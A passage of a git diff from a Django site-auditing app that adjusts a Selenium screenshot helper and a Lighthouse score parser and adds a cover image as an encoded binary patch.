is None: + site_id = uuid.uuid4() + site_url = url + else: + site_id = site.id + site_url = site.site_url + # request site_url - driver.get(site.site_url) + driver.get(site_url) + # wait for site to fully load driver_wait( @@ -270,7 +277,7 @@ def screenshot(self, site, configs=None, driver=None,): pic_id = uuid.uuid4() driver.save_screenshot(f'{pic_id}.png') image = os.path.join(settings.BASE_DIR, f'{pic_id}.png') - remote_path = f'static/sites/{site.id}/{pic_id}.png' + remote_path = f'static/sites/{site_id}/{pic_id}.png' root_path = settings.AWS_S3_URL_PATH image_url = f'{root_path}/{remote_path}' diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py index ec47f3f4..af2207f8 100644 --- a/app/api/utils/lighthouse.py +++ b/app/api/utils/lighthouse.py @@ -1,7 +1,5 @@ -from io import StringIO -import os, fileinput, glob, subprocess, time, sys, json +import subprocess, json from ..models import Site, Scan -from django.forms.models import model_to_dict @@ -25,6 +23,7 @@ def init_audit(self): 'json', ], stdout=subprocess.PIPE, + user='app', ) stdout_value = proc.communicate()[0] return stdout_value @@ -58,7 +57,8 @@ def get_data(self): if int(a["weight"]) > 0: audit = stdout_json["audits"][a["id"]] audits[cat].append(audit) - + # changing audits name of best-practices to best_practices + audits['best_practices'] = audits.pop('best-practices') # get scores from each category seo_score = round(stdout_json["categories"]["seo"]["score"] * 100) @@ -68,13 +68,14 @@ def get_data(self): average_score = (seo_score + accessibility_score + performance_score + best_practices_score)/4 scores = { - "seo": str(seo_score), - "accessibility": str(accessibility_score), - "performance": str(performance_score), - "best_practices": str(best_practices_score), - "average": str(average_score), + "seo": seo_score, + "accessibility": accessibility_score, + "performance": performance_score, + "best_practices": best_practices_score, + "average": average_score, } + data = { "scores": scores, "audits": audits diff --git a/app/api/utils/report_assets/cover_img.png b/app/api/utils/report_assets/cover_img.png new file mode 100644 index 0000000000000000000000000000000000000000..ac6e1b5ef8d7582660dc1bdff1aebccbe74eb54c GIT binary patch literal 119558 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 